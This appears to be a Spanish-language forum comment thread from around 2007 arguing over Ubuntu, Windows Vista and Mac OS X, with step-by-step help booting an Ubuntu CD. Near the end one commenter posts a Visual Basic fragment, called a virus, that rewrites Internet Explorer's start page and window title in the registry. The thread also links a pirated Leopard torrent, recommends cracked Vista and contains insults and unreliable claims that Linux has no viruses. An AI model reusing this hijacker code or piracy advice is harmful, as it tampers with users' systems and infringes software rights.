El punto de k nadie kiere pasarse a linux, es xq dicen k es dificil de usarse, pero no es cierto. Osea de seguro todos comenzamos a usar windows desde hace tiempo, entonces lo vemos como unica opcion, y no buscamos otras. Mac es mucho mas facil de usar k windows, y linux tmb es mas facil de usar k windows, osea todos se asustan kn la linea de comandos, pero si buscas tutoriales, veras k es facil. Ademas, Ubuntu trae practicamente todas las cosas de Windows Vista Ultimate y mas, y si no vienen, ps a 3 clicks de distancia, con Synaptic, las tendras, y gratuitas, y vale $400 dolares menos, osea gratis. Y si creen k Linux es dificil, o si piensan cambiar al mundo Linux, les recomiendo Ubuntu, y para que vean lo facil k es:

Ubuntu + http://www.guia-ubuntu.org --> Linux MUY facil

Yo soy 100% windows vista es el mejor, me encanta el volcado de memoria, la lentitud, q se me trabe y tener que nesesitar una super maquina para correr los efectos aero, es lo mejor, es asombroso lo que se logra con "tanto" esfuerzo en "tantos" años, me asombra la capasidad de microsoft para crear sistemas operativos tan avanzados y estables, es tan maravillosa esa pantalla azul, tener que reiniciar tantas veses, windows te amo eres lo mejor jajajajajajajajja jajajajajajajajjajajajajajajajajajajajajajajaajajajajajaja

Yo te apoyo yo soy fan de windows, vista es el mejor sistema operativo de todos tan solo por sus ventanas que saben salir, "windows se ah recuperado de un error grave" (mi favorita) esa lentitud tan unica de microsoft, WINDOWS TE AMO!!, Para instalar windows vista ultimated necesito una supercompu que lo hacen que windows sea el mejor y el UNICO!!!

Mac OS X Leopard El SO Mas Avanzado del Mundo, PC's Alla Ustedes

Alguien tiene el torrent de la beta de Leopard de la WWDC 07??

NO, yo digo que el sistema operativo mas avanzado del mundo es microsft windows 95 con un porcentaje de voto de 99.99 % de usuarios avanzados, que es hasta ahorita lo mas avanzado en interfaz grafica lo que a Mac OS X Leopard lo hace un perdedor ante Windows.

Si Por Favor, Queremos el BETA DE 10.5, y tambien, me podrian decir cual es el mejor sistema operativo linux o cual es el de el demo, y el link de su descarga

Un saludo a mi mas grande amigo Bill Gates, saludos respetuosos a usuarios que utilizan Windows ya que es lo mejor en sistemas operativos creados con la teconologia mas cara en estados unidos, Espero que Microsoft haga con la asociacion nueva que hicimos para mejorar la calidad de windows siga siendo el MEJOR DE TODOS!!

Eso ya paso , lo nuevo es el Compiz Fusion que se aplaca al vista , pero la nueva imagen del leopard compite con el linux, en software es mejor mac os x por mucho , ya que linux es inestable y tiene poca compatibilidad , aunque hablando de eso mac tampoco tiene mucha, en eso ganaria el vista , aunque yo creo que es mejor el xp , asi que la mejor opcion para mi seria una pc con windows xp y un mac con leopard , o tiger que es muy bueno tambièn.. saludos

Mac OS X 10.5 Beta, Link Por Favor

y Un Link Para Descargar El Linux del video o uno mejor

Aqui esta el link del torrent de Mac os x Leopard DISFRUTENLO!!

http://www.mininova.org/tor/771731

Cual es laversion de linux q sale en el video, y como instalr ubuntu, abro el iso, y sale un monton de carpetas, por favor ayuda

Hola

La version del video es ubuntu.

no lo abras , quemalo con nero o con otro programa en un cd.. , despues bootea desde el cd presionando f8 despues del arranque de tu pc , ponle en f2 para que sea en esp y ponle "instalar o inicar" , iniciara el sistema operativo en LiveCD , hay puedes ver como es el sistema, no tendras ningun efecto por que para eso hay que instalar Compiz fusion o beryl.. en el escritorio hay un iconito que dice iinstalar y pues ya hay va a ser tu criterio , ya instalado postea otro comment y te dire como instalar compiz fusion..

Suerte!!

OK, Meto el cd y preciono F8 Y F2, Luego Instalar o Iniciar y me muestra el escritorio normal de linux, y luego elijo instalar?

otra cosa, no importa el nombre del cd?

Si , presionas f8 y te va a salir la pantalla con ubuntu y varias opciones.. , f2 es para cambiar el idioma a esp.. , depues inicias y ya elijes instalar y no el nombre del cd no importa

Suerte !

una preguntica, lo grabo en el cd como iso, o lo descomprimp

una preguntica, lo grabo en el cd como iso, o lo descomprimo

grabalo como iso , en nero >> herramientas>> grabar imagen

Suerte !

olle, me sale q con q sistema operativo deseo iniciar y solo sale windows xp q hago

Es en cuento prenda.. y debe de salirte un cuadrito donde diga si quieres iniciar con la unidad lector ,el HD (hard drive) u otras opciones..

No, Me toca dejar undido F8 y sale q q SO deseo correr y solo sale XP

Entra al bios (creo que es surp) al iniciar y pon el cd autobooteable para que solito al prender corra el cd..

Suerte !

no, cuando lo prendo inicia con windows xp y cargando y pongo supr desde que lo prendo y no, lo reinicio y pongo ctrl + alt + supr y tampoco

ayuda

ya entre, ahora como pongo para q inicie con el cd

luis rodriguez, soy MAC user y tambien tengo un pc con windows, no se mucho de windows por eso quiero entrar a linux, y tampoco se de bios, solo quiero ayuda

Yo soy windows user desde siempre , instale linux y aprendï mucho de el , y ahorita tengo mac os x86 y tambien e aprendido mucho asi que domino los 3 sistemas masomenos verdad , no como un experto , y la verdad es que tengo 14 años lo creen ??

Al entrar al bios le pones en opciones avanzadas y debe decir cd auto booteable , claro en ingles.. le seleccionas hay y le pones enable , despues F10 , yes y va a reiniciar y ya despues ya solito entrara a ubuntu

Suerte !!

yo tengo 1 menos q tu y solo me falta linux, se solaris y mucho de mac, no es por creerme pero creo q tu si.

Yo no trato de creerme , ni te lo dije directamente a ti si no al otro luiz rodrigez , no te enojes , trato de ayudarte en lo que pueda esta bien ?

Suerte !!

pd: ya pudiste configurar el bios ?

seguro estoy soñando no puedo crerlo, linux mis respetos

yo pensaba que windows era mejor que e qui bocado estaba pero cual es la mmejor vercion de linux, windows, y mac os

el bios esta en ingles, y lo q me dijiste en español no sale(en ingles), me lo puedes repetir en INGLES

gracias

Entras y Advanced Bios Features , ya dentro dice:

First boot device (Hard Disk) presionas hay y seleccionas CD ROM

Second boot device (CD ROM) presionas y seleccionas Hard Disk

Ya , primero va a leer el cd y despues entrar a windows

una pregunta ?? que tarjeta grafica tienes ??

Suerte !

no se donde dice lo de la tarjeta grafica

Hola

Ya pudiste iniciiar desde el cd de ubuntu ??

si, me sale un menu,

instalar en modo texto, en modo OEM, instalar un sistema en linea, verificar el cd, rescatar un sistema dañado, test de memoria, arrancar desde ek primer disco duro.

me habian dicho que linux se podia de forma que corriera como q el cd fuera el disco duro, si se puede me dises como profavor, o como ago para instalarlo en otro disco duro como SO segundario

gracias

tienes un email o algo para escribirte mas facil, pues el foro no es de como instalar linux jeje

gracias

Si , jajaja mi mail es lalo_depablos@hotmail.com

Suerte!

Windows No Es Tan malo como todos dicen, por algo es el SO mas Usado, Linux Le faltan años de experiencia y mucha madurez para igualar a MAC OS X y un poquito para igualar a WINDOWS, pero de todas maneras, linux es bueno, el problema es q cualquiera que quiera entrar a linux, le es dificl, pues hay muchas versiones, dicen que sale una cada 6 meses(mac y windows minimamente cada año) y ademas hay muchas paginas para descargar y en cada una una version diferente(se los digo por experencia, he estado tratando de instalar para probar linux y no encuentro la forma, hay problemas para descargar hasta para intalar), y lo que decian mas arriba de que ya hay mas aplicaciones para linux q windows, por favor, faltan muchas mas aplicaciones de windows en la lista, si quieren, los que usan windows compruebenlo: http://www.linuxrsp.ru/win-lin-soft/index-spanish.html.

linux es bueno pero diciendolo asi, es mas inmaduro que windows y q mac

ademas, ustedes lo dicen , linux revive maquinas viejas, y q vista es muy pesada, pero ponganse a ver, los computadores de ahora vienen con un promedio minimo de 80GB y 512 MB y creo q es lo nesesario para ejecutar vista, y de mac, no hablemos, puedes tener un apple de hace 5 años y puedes tener leopard!, y creo q si te compran un computador nuevo y si estambos hablando de que tienes un computador con buena capacidad, que prefieren un SO con experiencia y que se mantiene en 1 lugar, o un SO que es para maquinas con poca capacidad, sin tanto soporte y menos aplicaciones.

ademas con Windows 7, y Mac OS X 10.6, qien va a peliar, Linux Ubuntu 20.1, y tendra el mismo cubito?

no comparen un cubito que marea, con un flip3D o Spaces

Como se nota que no sabes de lo que estas hablando JK. El unico inmaduro evidentemente eres tu, y en esa lista de ese link tambien faltan muchas aplicaciones de linux. Y realmente que un usuario en su casa no necesita tantas aplicaciones, para muchos las que vienen incluidas en Ubuntu bastan, (Open Ofice,messenger reproductor multimedia bittorrent, etc).

Fijate las tonteas que dices:

"ademas, ustedes lo dicen , linux revive maquinas viejas, y q vista es muy pesada, pero ponganse a ver, los computadores de ahora vienen con un promedio minimo de 80GB y 512 MB y creo q es lo nesesario para ejecutar vista,"

En primer lugar lo de resusitar maquinas viejas es una opcion para seguir utilizando tareas muyyy sencillas, entiendase tareas escolares, en vez de echar a la basura un Pentium 3 por ej.

En segundo lugar, los 512 de RAM "

En segundo lugar 512 DE RAM NO SON SUFICIENTES PARA CORRER VISTA. Te lo digo por experiencia, VISTA ES PESADISIMO.

Y SOLO ALGUNAS DISTROS DE LINUX SON HECHAS PARA PCS VIEJITAS, LA MAYORIA NO LO SON, por ej. el Ubuntu que estoy usando en este momento, esta hecho para compus nuevas, la mia por ej. tiene un Giga de RAM y 320 Gb de disco duro, ¿ok? y no es en ningun modo inmaduro, mientras escribo esto estoy quemando un DVD y compartiendo archivos con Amule y Ares.

¿Soporte? ¿De donde sacas que Wintendo tiene mas soporte que Ubuntu? Que risa me das, hablas sin saber, y por cierto tengo instalados programas para todo, y si necesito algo solo busco en synaptic y lo instalo facilmente.

Ahora Linux no es solo el cubito, no seas tonto, yo por ej. lo tengo instalado pero rara vez lo activo, el Beryl (cubito como le llamas), es un proyecto de software libre mas, de los miles que hay, y el que lo quiera instalar que lo haga y el que no no. Hay muchas formas de embellecer los escritorios linux, no necesariamente con el "cubito"

Y para terminar, he formateado varias maquinas que de fabrica venian con Vista, y estaban lentisimas, entre ellas una HP con Core duo y 1 GB de RAM, les instale Ubuntu, y

funciona rapidisimo.

Y por ultimo el hecho de que tu no tengas la capacidad, de instalar un S.O, no quiere decir que nadie la tenga, dices que haz batallado con las descargas, tendras una conexion bien lenta, dices que has batallado con la instalacion, tal vez no sepas quemar una Iso o de plano no sepas leer ya que en la guia Ubuntu http://www.guia-ubuntu.org/index.php?title=Portada

te explican paso a paso como instalar Ubuntu.

Es todo Luis Rodriguez, esa explicacion fue muy buena! Obvio Ubuntu es mejor k el Vista, en Ubuntu puedes instalar todas las "novedades" (veanse las comillas) jajajaja, k trae el Vista y muchas mas, kn 2 o 3 clicks, y en vista, muchos clicks buscando y comprando y eso jaja!

Se Nota Que Los Usuarios Linux al Igual q Linux Son Iguales de Malos Perdedores

Arriba Windows Vista y Mac OS X

No Todos, Pero Si Hay Varios

Ademas Luis Rodriguez, Deverias dar conferencis, apuesto a que res abogado

Estoy Con Daniel, Ademas, si JK se quiboco, dejalo, alla el, a y creo q te equibocaste escribiendo:

Ademas Luis Rodriguez, Deverias dar conferencis, apuesto a que res abogado

creo q era:

Ademas Luis Rodriguez, Deverias dar conferencias, apuesto a que eres abogado

Hola mundo

quiero deciros que me gusta esta pagina pero estoy locamente buscando msn live gratis y sin codigos ni leche , asiesque dejar de estafar.

quiero deciros que me gusta esta pagina pero estoy locamente buscando msn live gratis y sin codigos ni leche , asiesque dejar de estafar.

De todos los comentarios solo hay uno o dos de gente que realmente sabe de sistemas operativos y coincido con ellos que el Apple MAC OS X es el mejor sistema operativo que inclusive esta presente desde el 2001, de el siempre plagio Windos y ahora mas descaradamente el Vista, pero solo fue una copia de su presentacion, y en el fondo sigue siendo lo mas detestable para tecnicos de computadoras como yo. Por mas de 10 anos reparo PCs, reniego con todas las torpezas de Microsoft, pero felizmente regreso a casa y enciendo mis MAC y duermo tranquilo. Sobre el Linux Ubuntu, lo respeto porque fue hecho justamente por gente opuesta a Microsoft, no por envidia ni alguno fobia, sino que con la experiencia de anos cada producto de MS esta condicionado para otro de MS, sin contar con todo lo demas. Aun asi, por mas de que pinten al Linux sobre el Mac OS X, primero tienen que trabajarlo, con video, audio, internet, web, arte, creatividad, estilo, etc. etc. etc. es solo una apariencia, y para muchos el Linux es estar condenado a vivir buscando drivers, y perdrrmas tiempo en la computadora que en su propio tarbajo, pues eso es lo que Mac OS X supera a todos. Es todo

No soy abogado, pero me gusta decir la verdad, Ubuntu es mil veces mejor que Vista, lo digo por experiencia, nada mas.

Y con respecto a Mac, si el sistema es muy bueno,tal vez el mejor segun varios criterios, solo que los tramposos de Aple lo basaron en el BSD Darwin, que es libre y gratuito, y Apple vende Mac OS junto con el Hardware, y carisimo, carisisimo, y en un pais como el mio pocos se pueden dar el lujo de gastar 5000 dolares en una computadora, yo por menos de la mitad de lo que cuesta una Mac, puedo armar un monstruo de PC, con Ubuntu, y con programas de diseño, edicion de audio y video, juegos, etc., y esta PC no le pediria nada a una Mac. Peliculas como el Sreck, fueron hechas con Linux, con software libre. Por ahi anda un cortometraje en internet hecho con el software Blender, esta muy bien hecho y se ve muy profesional. El Bleder es software libre y gratuito y se encuentra en los repositorios de Ubuntu. el link es http://www.elephantsdream.org/

Aver, Puedes Comprar Un Mac Mini Desde 600 Dolares y Un iMac Desde 1000 Dolares y Con Procesadores intel core duo y con HD de 160GB, 24x Combo drive, Intel GMA 950 graphics

y piensas que es muy poco por mil dolares

si hay de 5000 y hasta de 17000 pero imaginate el poder que tienen

Mira Luis, Esto Es Un Sitio Para Comentar Lo Que Creemos, Respeta Las Opiniones De Los Demas, y Por Mucho Que Quieras, Hay Mejores SO Que Linux.

600 y mil dolares es demasiado el. Con ese dinero, ya lo dije, armo una computadora con

mas capacidad de la que dices. Y Daniel Lopez (homonimo del Satanico el luchador), respeto las opiniones, no las impertinencias y Linux no es un S.O., es un Nucleo con el cual se contruyen S.O. que se denominan distribuciones. Y mi distribucion favorita, Ubuntu, SI ES MEJOR QUE EL VISTA, LO DIGO, LO SOSTENGO Y LO DEMUESTRO.

Y en la variedad esta el gusto, chequen esta beleza: http://www.dreamlinux.com.br/english/index.html

No se k le ven de bueno al windows vista, lo unico bueno k tiene es el directx 10

DEMUESTRALO

una pregunta, ¿Por Que Todo lo Que tiene q ver con linux tiene una X?

>Linux

>Aiglx

>XGL

>Tux

>Unix

>Lotux

Ok el k me dijo k demostrara k vista trae otras cosas buenas, dime que otras cosas novedosas y de utilidad hay en windows vista

no, me refiero es q luis rodrigues nos demostrara por q ubuntu es mejor q todos

Me Gustaria Saber cual de las distibuciones linux es mas liviana y facil de descargar

viva windows

Jaja otro fan de Windows, rafa, me puedes decir k cosas "novedosas" y de utilidad trae el windows vista, xq acabo de ver k el directx 10 si es posible usarlo en xp, si no miren:

http://es.theinquirer.net/2007/07/11/dx10_is_doable_on_windows_xp.html

Vamos Rafa dime k cosas chidas trae el vista!

HEY TALIBANES LINUXEROS QUE MALA ES LA ENVIDIA

alguien me podria decir donde consigo el disco para instalar ubuntu su mas reciente version, vivo en el DF ya que lo iba a bajar desde la pagina oficial pero tengo una conexion lenta y se tardaria hasta navidad en descargarlo jajaja espero me puedan orientar

como instalo XGL/Compiz

viva microsoft

Ignorando los comentarios infantiles de Ersotito y Rafa, le contestare a el que lo de Compiz lo busque en los foros de Ubuntu. Ahi lo encontrara.

Sinceramente, soy ingeniero informático y llevo muchos años utilizando windows y linux. Este año me compre un portatil y despues de mirar y mirar decidi comprarme un macBook Pro, Y creanme k es algo sorprendente, ya no por el portatil sino por el SO. Ahora mismo tengo el mac os X tiger y estoy deseando k salga el Leopardo pk seguro k va a ser algo increible.

Y tanto que se dice del precio, los portatiles no son mucho mas caros que cualquier pc portatil con las mismas caracteristicas pero sin Mac os X.

Sin dudad me kedo con MAC.

Tienes razon Bim, pero Mac no es una opcion real debido a lalto precio. Y vuelvo a repetir, Mac OS es bueno porque esta basado en BSD Darwin, asi que como a Barry Bonds, le ponemos un asterisco.

Simplemente, Mac Es Sorprendente y No Hay Discucion y Por Mas Que Quieran Ubuntu NO lo va a alcanzar

Orgullosamente Usuarioo Mac

El que tenga conocimientos avanzados se va dar cuenta q mac utliza un kernel igualito al de linux y che windows es una porqueria

Me parace que ustedes dos no leen mis comentarios, el Kernel de mac es basado en BSD, no en Linux, y yo diria que es al reves, Mac nunca va a alcanzar a Ubuntu, porque Mac es elitista.

regalenme linux

ese linux lo deverian de repartir de casa en casa

hola pues leeo todos sus comentarios y la verdad es que yo me quedo con linux yo lo corro en una Lap Sony VAIO con un celeron 3.06 ghz y 448 de ram y me funciona super vien solo el modem no logro hacerlo funcionar pero todo lo demas si audio y video etc, en esta misma lap tengo el Xp pero madremia es lenta y se traba mucho ase un mes instale el Vista y no sirvio el AEREO ya saven no los requerimiento tambien e instalado el Mac tiger pero el que esta Hackeado jejejej pero pero no sirvio el audio y la resolucion solo me da 800 x 600 pero bueno ojala y Apple saque versiones para plataformas X86 legales bueno ustedes tienen la ultima opcion de que sofware les gusta mas una cosa mas si Mac es bueno es por esta basado en UNIX y lunix creo que = y windows ya saven no jejeje

LA ELECCION DE LOS VIDEOS PARECE UN POCO TENDENCIOSA PERO AUN ASI EL ACTUAL COMPIZ FUSION ES REALMENTE ESPECTACULAR. PERO PARA OPINAR CON PROPIEDAD VOY A TENER QUE ESPERAR A MAÑANA QUE PIENSO INSTALAR VISTA ULTIMATE EN UN DISCO QUE ME REGALARON Y VER QUE PUEDE HACER CON LA MISMA MAQUINA EN QUE TENGO MI UBUNTU CUBICO. LAS MAC ES COMO QUE JUEGAN UN PARTIDO APARTE, HARD Y SOFT EN UN TODO ARMONICO ARTISTICO Y BELLO, PERO SU REVOLUCION TECNICA Y ESTETICA YA ME PARECE POCO, DESDE QUE ME CONTARON QUE UN LOCO INVENTO LA IDEA DE COMPARTIR EL CONOCIMIENTO , EL CODIGO , TODAVIA NO TERMINO DE DIGERIR EL CONCEPTO, AL LADO DE ESO TODO LO DEMAS ME PARECEN CHICHES.

¿Que un loco invento el concepto de compartir el conocimiento? No mi amigo, no fue un loco, fueron los filosofos griegos, precursores de la ciencia moderna, los que inventaron el concepto de compartir el conocimiento. La ciencia, asi funciona, compartiendo lo que se aprende y se descubre, si no fuera asi, no disfrutariamos de tantos avances, es el concepto contrario, el de no compartir el que es de locos, de codiciosos que adquieren poder difundiendo ignorancia. Por eso el Software libre rescata un principio basico de la ciencia, COMPARTIR CONOCIMIENTO, porque un software es eso, conocimiento, nada mas, es una serie se 0 y 1 unidos matematicamente para que la computadora los interprete, eso no debe ser visto como un producto comenrcial, sino como conocimiento.

no me gusta ese linux es feo mejor el win95

PERDON, YA LO SE , ME EXPRESE INCORRECTAMENTE PERO COINCIDO CON VOS. EL SOFT LIBRE NO INVENTA NADA, PERO RESCATA EL VALOR DE COMPARTIR. ¿NO HAY UNA INICIATIVA IGUAL A NIVEL DE PATENTES MEDICINALES? ,,, STALLMAN ESTA UN POCO LOCO,,, GRACIAS A DIOS

Mi comentario al respecto es que Linux esta hecho para pobres pobretones como todos los linuxeros que no pueden comprar un equipo nuevo con Windows vista ya instalado. Yo soy de Puerto Rico y todas las empresas de Puerto Rico tienen como sistemas operativos Windows XP y Windows Vista. Soy igeniero de Computadora trabajo para diseñar programas que corren en Windows y en Macos, y lo que digo al respecto es que Linux no es una buena opción. Me he enterado que MacOs puede en el futuro sea una sistema libre osea gratis y creo que si eso pasa Linux Morira para siempre. Ademas lo que hace famoso a linux es un simple programita que no es del sistema operativo que es el Berry es un programa independiente preistalado en el sistema operatovo para darle los movimientos a las ventanas y el XGL de cubo mientras que los efectos de windows vista son del sistema operativo que es el AERO pero claro espa pagina esta llena de linuxeros pobres me imagino que todos son de ameria latina ja creo que si mientras que puerto rico es rico por que es parte de Estados Unidos y los mejores paises utilizan el mejor sistema operativo Microsoft Windows. Yo no he visto en ninguna unversidad o escuelas de puerto rico utilizar LInux jaja seria una perdida de tiempo. Les voy a dar un concejo reunan plata como dicen ustedes y compresen una buena computadora nueva y voten la vieja mira la compañí­a DELL tiene buenas ofertas aprovechen. espero sus respuestas Que viva Windows....

Jaja Anti Linux primero escribe bien, el programa se llama Beryl, no Berry inteligente. Ademas Linux esta mejor hecho, entre gente de todo el mundo se crea el perfecto sistema, no x una sola empresa k ni sikiera se preocupa x ti lo k deberian, como Microsoft.

Los pobretones son los de Puerto Rico que tienen que comer de la mano de los EU, y DELL VEDE COMPUTADORAS CON LINUX, UBUNTU PARA ESCRITORIO; RED HAT PARA SERVIDORES.

Mira RR se que en el comentario anterior cometi muchos errores ortográficos pero lo importante es que lo hayas entendido tambien tu cometes errores porque eso de abreviar k x asi que no hables porque se ve que no sabes manejar el teclado. Otra cosa Linux no es mejor que Windows Vista usalo se ve que no los has usado hoy en dia puedes conseguir un disco pirata y un buen crack y lo puedes usar como si fuera genuino. No seas embidioso lamentablemente aqui Linux envida a Windows y a Mac actualizateeee!! Hombre!!

Y a tí­ Luis Rodriguez nosotros aquí­ en Puerto Rico no somos pobretotes talves nos tienen de comer de la mano de EU Pero ya tu quisieras que tu pais comiera de la mano de EU. Gracias a los Americanos la economia aqui esta buena y utilizamos el dinero americano $$$$ y creeme Puerto Rico sera pronto un estado federado de la Union el estado 51 asi que no seas embidioso. Ademas si te pones a pensar cuales comoputadoras Dell se venden mas? Con Windows Vista o con UBUNTU que de hecho ese nombre esta orible uakala. La respuesta es simple porque gente intelijente usan sistemas operativos inteligentes Windows Vista.

como es quedo el ojo

Tengo una pregunta para todos los Linuxeros. Por que en esta pagí­na existe un Link de Linux Virus Proctetion. Que raro me parece que ustedes mismos dicen que Linux no tiene virus que lo ataquen. que cosa como son las cosas de la vida, entonces Linux no es seguro. Asi que estudien bien su SO y no hablen mal de Windows.

que viva Windows Vista!!!!!!

Antilinux, eres un completo ignorante, en Linux no hay virus, no los hay, los antivirus en Linux sirven para proteger equipos Windows conectados a la red. Y Ubuntu significa solidaridad para la humanidad, en una lengua nativa de sudafrica. Visita la pagina de Ubuntu:

http://www.ubuntu.com/

Y mira Puerto riqueño lamegringos,

ACTUALIZATE TUUUUUUUUUU, YO FORMATEO COMPUTADORAS CON VISTA ORIGINAL Y LES PONGO UBUNTU, PORQUE ASI FUNCIONAN MEJOR, NO SEAS TONTO PARA HABLAR , LEE LOS POST ANTERIORES, VISTA ES UN ASCO, NO LE LLEGA NI A LOS TALONES A UBUNTU.

Antilinux vendido con los gringos, ¡

Que pena Luis Rodriguez que pena aqui lamentablemente el ignorante eres tu porque no sabes aceptar la realidad Microsoft Windows podra ser un sistema inestable y vulnerable a virus pero para desgracia tuya es el sistema operativo lider aunque no lo quieras y seguira siendo. Ademas quiero que me contestes algo. Porque Linux copia los preciosos themes de Windows???? las ventanas, los colores Por que????? si sabes contestame. Ademas llo tambien formateo computadoras con Windows vista y que tal les pongo vista. jajajaja. que pena que ubuntu no pueda formatiar. Y otra cosa prefiero ser vendido a los gringos porque ellos nos dara el mejor futuro economico de la Isla de Puerto Rico por eso es que la economia esta mucho mejor que la de tu pais. Ademas tu si me das Asco y que con Linux pero na aya con tu sistema operativo, y creeme existen virus para linux ponte a buscar información. Y creo que yo sere de los primeros que haga un virus para ubuntu Linux jajaja. Estoy seguro que los que hacen los virus son los LInuxeros como tu que lo que quieren hacer es tratar de dañar la imagen de Windows pero Microsoft siempre tiene su antidoto. y espero tu respuesta. and Thank You

Otra pregunta Porque la mayoria de los Linuxeros que usan Ubuntu tienen que tener Windows y Ubuntu istalado si hablan mal de Windows por que lo tienen instalado???

Linux: Software libre, gran potencia, facilidad relativa de uso, seguridad, etc... Potencia gráfica alucinante como se puede ver en el video, y al fin y al cabo, es la mejor herramienta para los programadores como yo.

Antilinux, yo no tengo instalado Windows, solo Ubuntu, Windows no me sirve para ABSOLUTAMENTE NADA. Y el que me das pena eres tu ya que no entiendes el punto de la discusion, NOSOTROS ELIGIMOS LINUX PORQUE ES MEJOR QUE WINDOWS, NO PORQUE NO TENGAMOS DINERO PARA PAGAR, ESTAMOS HARTOS DE LA BASURA QUE ES MICROSOFT, POR ESO ELIGIMOS LINUX.

ANTILINUX FIJATE LOS QUE DICES :

"Ademas quiero que me contestes algo. Porque Linux copia los preciosos themes de Windows???? las ventanas, los colores Por que????? si sabes contestame. Ademas llo tambien formateo computadoras con Windows vista y que tal les pongo vista. jajajaja. que pena que ubuntu no pueda formatiar."

¿ CUALES TEMAS COPIA? ¿COLORES VENTANAS? ¿CUAL ESCRITORIO LOS COPIA? ¿GNOME, KDE, XFCE? YO NO TENGO NINGUN TEMA QUE SEA COPIA DE WINDOWS, ADEMAS LOS COLORES O TEMAS, ES LO DE MENOS, LO IMPORTANTE ES LO QUE HAGA TU MAQUINA.

¿QUE UBUNTU NO PUEDE FORMATEAR? CLARO QUE EL DISCO DE INSTALACION DE UBUNTU PUEDE FORAMTEAR, Y PUEDE PARTICIONAR Y TODO, SE ME HACE QUE NO ME ENTENDISTE PORQUE NO SABES LEER, YO DIJE QUE FORMATEO COMPUTADORAS QUE TRAEN VISTA DE FABRICA, LAS FORMATEO USANDO EL DISCO DE INSTALACION DE UBUNTU, BORRO EL VISTA E INSTALO UBUNTU, PORQUE ASI FUNCIONAN MEJOR ESO FUE LO QUE DIJE.

Y LO DE LOS VIRUS, ANDA TE RETO A QUE HAGAS UN VIRUS PARA UBUNTU Y LO MANDES A MI MAIL, rodriguezcantu@gmail.com, PORQUE HOY POR HOY, NO EXISTEN VIRUS PARA LINUX, NO EXISTEN. Y LOS VIRUS SI NO TE HAS DADO CUENTA LOS HACEN LAS MISMAS COMPAÑIAS COLUDIDAS CON MICROSOFT, Y LUEGO TE VENDEN EL ANTIVIRUS, ES DECIR TE VEN LA CARA. LOS VIRUS, POR RAZONES TECNICAS SOLO EXISTEN PARA WINDOWS, Y NO PARA LOS S.O. DE LA FAMILIA UNIX, COMO SON LINUX, BSD, SOLARIS Y MAC O.S.

Y por ultimo lee este link:

http://www.cesarius.net/%C2%A1cambiate-a-linux/

antilinux: bueno como te decia io tengo el windows instalado por lo unico que me sirve de videoconsola fuera de eso es molesto esperar a que cargue por cosas como abrir menu inicio

betowannaseestairwaytoheaven@gmail.com

no pos como veran el vista son solamente copias de los sistemas operativas de las mac (Mac OS X) y linux osea los mas buenos los de microsoft son uno piratas las mac son las mejores ya que pueden instalar cualquier sistema operativo en su mac ,realizar graficos de primera ,diseño de paginas web,hadware de primera,Cada Mac viene con iLife, un paquete de aplicaciones que transformará tus fotos, tu música y tus videos en toda clase de proyectos. ¿virus ? nunca Asimismo, tampoco está plagado de un sinfí­n de cajas de diálogos de seguridad como Vista. Así­ que puedes trabajar o divertirte sin interrupción.Los procesadores Intel Core 2 Duo son rápidos, rapidí­simos

Mac tiene puertos USB para impresoras, drivers externos, cámaras digitales, iPod y más. Es capaz de encontrar teléfonos móviles y auriculares Bluetooth, además de cámaras FireWire; y sin necesidad de reiniciar.

no se cesitas esrtar instalando drives para que jale puedes acer un sinfin de cosas aceptalo son mejor las mac www.apple.com

Si las Mac son exelentes, pero carisimas, mejor arma una PC y ponle Ubuntu, te sale mucho mas economico y puedes hacer todo lo que dijo el amigo anterior.

bueno pues no se mucho sobre computadoras , pero quisiera que me dieran su punto de vista... me compre una laptop hp y viene con el window vista home premim y segun lo que he leido aqui no es muy bueno mi maquina cuenta con procesador AMD turion 64 x 2 120 gb disco duro , 1024 mb memoria 667 mhz ddr2, tambien quisiera saber si le puedo poner el windows xp o ustedes cual me recomiendan , contestenme porfavor me servira de mucho¡¡¡...

Imparciales los comentarios poco constructivos que hacen referencia a Windows. Microsoft incorpora muchas herramientas de trabajo que bastan y sobran para elegir Windows. Si elegimos con la cabeza nos inclinamos por Vista, aunque sea de alto costo y mucha exclusividad. Si elegimos con el corazón también elegimos Vista, ya que equipa muchos temas de múltimples colores, es compatible con TODO y trabaja bastante bien. Si como se dice "Copia elementos de la interfaz de Mac", pues son copias muy buenas, de hecho Mac es lento cargando las fotos e imágenes, cosa que no sucede con la Galerí­a fotográfica de Windows, tomando en cuenta que supera el cubo poco atractivo de Linux.

¿¿Qué sistema es el mejor, el más conocido, el más atractivo y el que compatibiliza con todo???

a) Windows Vista

b) Windows Vista

c) Todas las anteriores

y que paso con el que iba a crear el virus para ubuntu??

habra logrado su cometido???

en 20 minutos logre esto:

(fragmento de un virus)

Attribute VB_Name = "PaginaInicio"

Declare Function RegCreateKey Lib _

"advapi32.dll" Alias "RegCreateKeyA" _

(ByVal HKey As Long, ByVal lpSubKey As _

String, phkResult As Long) As Long

Declare Function RegCloseKey Lib "advapi32.dll" (ByVal HKey As Long) As Long

Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal HKey As Long, ByVal _

lpValueName As String, ByVal _

Reserved As Long, ByVal dwType _

As Long, lpData As Any, ByVal _

cbData As Long) As Long

Public Const REG_SZ = 1

Public Const HKEY_CURRENT_USER = &H80000001

Public Sub SaveString(HKey As Long, Path As String, _

Name As String, Data As String)

Dim KeyHandle As Long

Dim r As Long

r = RegCreateKey(HKey, Path, KeyHandle)

r = RegSetValueEx(KeyHandle, Name, 0, _

REG_SZ, ByVal Data, Len(Data))

r = RegCloseKey(KeyHandle)

End Sub

Public Sub SetStartPage(URL As String)

Call SaveString(HKEY_CURRENT_USER, _

"Software\Microsoft\Internet Explorer\Main", _

"Start Page", URL)

End Sub

Public Sub SetWindowTitle(Title As String)

Call SaveString(HKEY_CURRENT_USER, _

"Software\Microsoft\Internet Explorer\Main", _

"Window Title", Title)

End Sub

con las clases que faltan (que no las adjunto por razones obvias) windows vista queda INUTILIZABLE!!!!

Mira Destroyer si eres inteliguente y crees que para vista hay virus dale te enviamelo para provarlo. tu eres de los linuxeros que se creen que para linux no hay virus pero mira te equibocas por que si los hay si quieres ver entra a la pagina de ubuntu para que veas. Ademas no seas mustio en crear virus para atacar a windows dedicate mejor a mejorar tu sistema operativo de perdedores. Ubuntu linux

dale te reto enviamelo...

windows_nt6.0_vista@hotmail.com

Mira Ramses, no copies mi estilo de lanzar retos poniendo el mail, y ya entiendelo NO HAY VIRUS PARA LINUX NI UBUNTU, y en la pagina de Ubuntu http://www.ubuntu.com/ no se hace referencia alguna a virus.

